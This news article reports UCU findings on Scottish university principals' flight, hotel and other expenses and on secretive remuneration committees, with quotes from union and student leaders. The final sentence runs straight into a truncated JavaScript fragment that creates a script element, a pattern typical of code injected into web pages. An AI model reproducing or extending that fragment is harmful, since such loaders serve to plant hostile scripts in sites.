Union calls for more transparency over university principals’ £30k expenses

By Émer O’Toole, News Editor


Highly paid university principals have come under fire following the news that more than £300,000 has been spent on their combined expenses.

Freedom of information requests to universities revealed 227,000 was spent on flights in 2013/14 with more than £80,000 spent on hotels and around £10,000 on personal expenses.

The statistics, gathered by Universities and College Union (UCU), show Scottish university leaders are consistently totalling expenses higher than the annual salary of many of those who work for them.

Professor Sir Jim McDonals, who earns £334,000 a year as principal of Strathclyde University, spent £33, 508 on flights in 2013/14.

Glasgow University principal, Professor Anton Muscatelli, spent £27,840 on flights, 82 per cent of which were business or first class, according to the UCU.

Professor Pamela Gillies, who earned £266,000 last year as principal of Glasgow Caledonian University, claimed more than any other UK university leader on hotel stays (£27,271), while Professor Sir Ian Diamond, principal of Aberdeen University, claimed £23,910 for expenses including flights and hotel stays.

Mary Senior UCU Scotland official criticised the “lack of transparency” on principals’ expenses.

“Many staff and students will be amazed at the size of principals’ salaries, and at the largesse displayed by some university leaders when it comes to first class flights, hotels and other expenses.

The UCU said despite promises of more transparency, two-thirds of UK universities were still refusing to release details of “secretive” remuneration committees, the bodies which set principals’ salaries.

Only five Scottish universities – Glasgow School of Art, Queen Margaret University, in Edinburgh, Glasgow University, Stirling University and Strathclyde University – sent through full minutes from their committees.

Senior added: “That this is happening in public institutions which get significant funding from the taxpayer makes the lack of transparency and accountability surrounding senior pay and perks a national scandal.”

Gordon Maloney, president of the National Union of Students (NUS) in Scotland, described the findings as “worrying.”

“Universities have repeatedly defended the huge pay increases principals have seen but it’s quite clear they aren’t willing to be open and honest about how those decisions are made, which is unjustifiable.

“Just as worrying is the fact that many principals across the country are cashing in on expenses worth well over and above the annual pay of many of their fellow staff. Every principal in Scotland is currently paid more than the First Minister, yet there’s still staff being paid less than a living wage.

Strathclyde University said the air fares were “business-related” and reflected the institution’s international outlook.

The news comes just weeks after Scottish university principals were criticised over accepting inflation-busting pay rises.var d=document;var s=d.createElement(‘script’);